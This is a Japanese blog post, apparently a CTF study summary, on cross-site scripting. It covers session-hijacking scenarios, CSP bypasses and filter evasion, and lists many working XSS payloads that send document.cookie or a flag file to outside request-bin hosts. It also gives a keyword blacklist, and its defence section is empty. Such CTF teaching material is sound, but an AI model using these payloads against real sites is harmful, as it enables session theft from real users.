はまやんはまやんはまやん

hamayanhamayan's blog

Webセキュリティにおけるクロスサイトスクリプティング問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

クロスサイトスクリプティングXSS)とは

攻撃者の作成したスクリプト脆弱性のあるサイトで実行すること。
名前は歴史的なものらしいので、意味はあまり気にしなくていい。
クロスサイトスクリプティング - Wikipedia

攻撃シナリオ

攻撃シナリオは数多くあるが、最も分かりやすい目的はCookieに含まれるセッション奪取である。
CTFでもそれを想定した問題が最も出やすい。
セッション奪取を目的とした攻撃シナリオをまずは理解しよう。

  1. とある任意のコードを埋め込める脆弱サイトが存在する
  2. 攻撃者がその脆弱サイトにこっそりCookieを全部抜き取って送るような攻撃コードを置く
  3. 被害者がそれのサイトにアクセスすると攻撃コードが発動する
  4. 攻撃者側にCookieが送られてくるので、そこに含まれるセッションIDを自分のCookieとして設定する
  5. 被害者がログアウトしない限り、攻撃者は被害者アカウントを自由に使用することができる

こういうセッションハイジャックが成立する。
はじめて見ると、手順2に現実性を感じないかもしれないが、CTF問題を1つでも解けば、確かに起こるかもなぁとなる。
セッションハイジャックは一例であり、キーロガーや画面の改ざん、一時期流行ったマイニングといった様々なことが行える。

CTFでは?

XSS問題では、大体adminにURLを提示して見てもらえるようなインターフェイスが公開されている。
なので、adminにURLを送るような問題ではXSSを疑って、まずはadminのCookieを抜き取れないか試行してみよう。

攻撃方法

基本的にはソースとシンクをチェックしていく。
XSSは悪意ある攻撃者の入力をそのまま表示してしまうことで成立する。
よって、入力は大丈夫か?出力は大丈夫か?といった所が観点としてある。

  • ソース:ユーザーから情報を受け取る元
    • formなどのユーザー入力部分
    • httpリクエストヘッダーの中身
    • cookie/LocalStorage
    • URL
    • 間接的にはDB, アップロードファイル
  • シンク:ユーザーから受け取った情報を表示する先
    • 色々あるが、XSSと呼ばれるのはシンクが「画面出力、HTML,CSS,JavaScript」を指す場合である
    • サーバでのコマンド実行ならコマンドインジェクションだし、メール/httpレスポンスヘッダーの中身ならヘッダーインジェクションだし
  • 挿入物

XSSではこのように沢山選択肢があるが、基本的にはjavascriptを実行させるルートがCTFでは多い。

ペイロード

使用済みペイロード

<img src=1 onerror="window.location.href='https://[RequestBinURL]?get='+document.cookie">
<img src="http://requestbin.net/r/18hvll91" />
<img src="http://requestbin.net/r/13ewswv1/ab.png" />

// <img src="[injection]">にinjection
1" onerror="document.location='http://requestbin.net/r/1fah6u21?q='+document.cookie

<script>window.location='http://requestbin.net/r/13ewswv1/?q='+document.cookie;</script>
<img src=x onerror=this.src='http://requestbin.net/r/13ewswv1/?q='+document.cookie />
<script>window.location='https://requestb.in/********?'+document.cookie;</script>
<script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script>
<script>new Image().src='your_server_malicious_host/malicious.php?code='%2Bdocument.cookie</script>
<script>document.write('<img src="http://localhost/~dliu/malicious.php?code='%2Bdocument.cookie%2B'">')</script>
<script>new Image().src="https://requestb.in/XXXXXX"+document.cookie;</script>
<img src=x onerror=this.src='https://requestb.in/XXXXXXX'+document.cookie />
<script>location.href="http://requestbin.fullcontact.com/hogehoge"</script>
<script>(new Image).src='http://requestbin.fullcontact.com/xxxxxxx?'+document.cookie</script>
<script>fetch('http://<my_server>/?'+document.cookie)</script>
file:///app/templates/index.html?",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022var%20i%3Ddocument.createElement('iframe')%3Bi.src%3D'.%2Fflag.txt'%3Bi.onload%3Dfunction()%7B(new%20Image).src%3D'http%3A%2F%2Frequestbin.net/r/18hvll91%3F'%2Bi.contentDocument.body.innerText%7D%3Bdocument.body.append(i)"],%20"a":%20"

テク一覧

CSP回避テク

  • CSP: Content Security Policy
    • 挿入されたjavascriptの実行を制約することで、XSSが成立しないようにする
    • サーバからブラウザへポリシーを伝えることで、そのポリシー以外の実行を制限する
    • content-security-policy:を見ると、許可されている操作が書かれているので、許可されてる範囲でバイパスを考える
  • script-src 'self' data:;
    • script-srcのdataスキームが許可されている
    • <script src="data:text/javascript,ここに任意コード">
    • <script src="data:text/javascript,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://requestbin.net/r/1ax2j8w1?q='+escape(x))">
  • script-src 'self' ajax.googleapis.com 'unsafe-eval';
    • ajax.googleapis.comが使える。こういった時は外部ライブラリを踏み台にしてバイパスする
    • Angular.js
      • 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる html <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> <p ng-app>{{constructor.constructor('ここに任意コード')()}}
  • script-src: strict-dynamic
  • "script-src":"'self' 'unsafe-inline'"
    • インライン JavaScript および CSS を許可します
    • 普通に<script>sendMyDataToEvilDotCom();</script>が許可される
  • default-src 'self'
    • サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合に設定する。自分のドメインからのjsしか受け付けない。
    • こういう場合は、jsファイルとかsvgファイルとかをアップロードして、それを指定することで実行させる

テクいろいろ

DOM-based XSS

フィルタリングバイパステ

  • とりあえず、ここに書くけど、別に移すかも
  • 改行(%0a)することでバイパスする
    • 改行すると改行前まででチェックが走ってそれ以降がバイパスできる
  • どこかが使ってたブラックリスト javascript "document", "window", "top", "parent", "global", "this", "console", "alert", "log", "promise", "fetch", "eval", "import", "<", ">", "`", "\\*", "&", "#", "%", "\\\\", "if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string", "href", "location", "url", "cookie", "src",
    • こんだけやっててもバイパスされます
  • 文字数制限をバイパスするにはGETパラメタとかで外部から抜いてやればいい
    • https://fb_library.tjctf.org/search?q=evilXSS脆弱性があり、evil部分に適当なコードを入れると発動するとする
    • evil部分には文字数制限があり、たくさんの文字は入れられない。これを回避するのに、以下では、呼び出し元のwindow.nameを使っている。 javascript window.name = "window.location = 'http://requestbin.com/evil?q=' + document.cookie;"; location = "https://fb_library.tjctf.org/search?q=<script>eval(name)/*";

Practicalな話

実装時に気を付けること

入力時・出力時に適切な処理を行うことが大前提な感じがする。
まとまったら加筆する。

(CTFじゃ使えないけど)テストツール

知らない。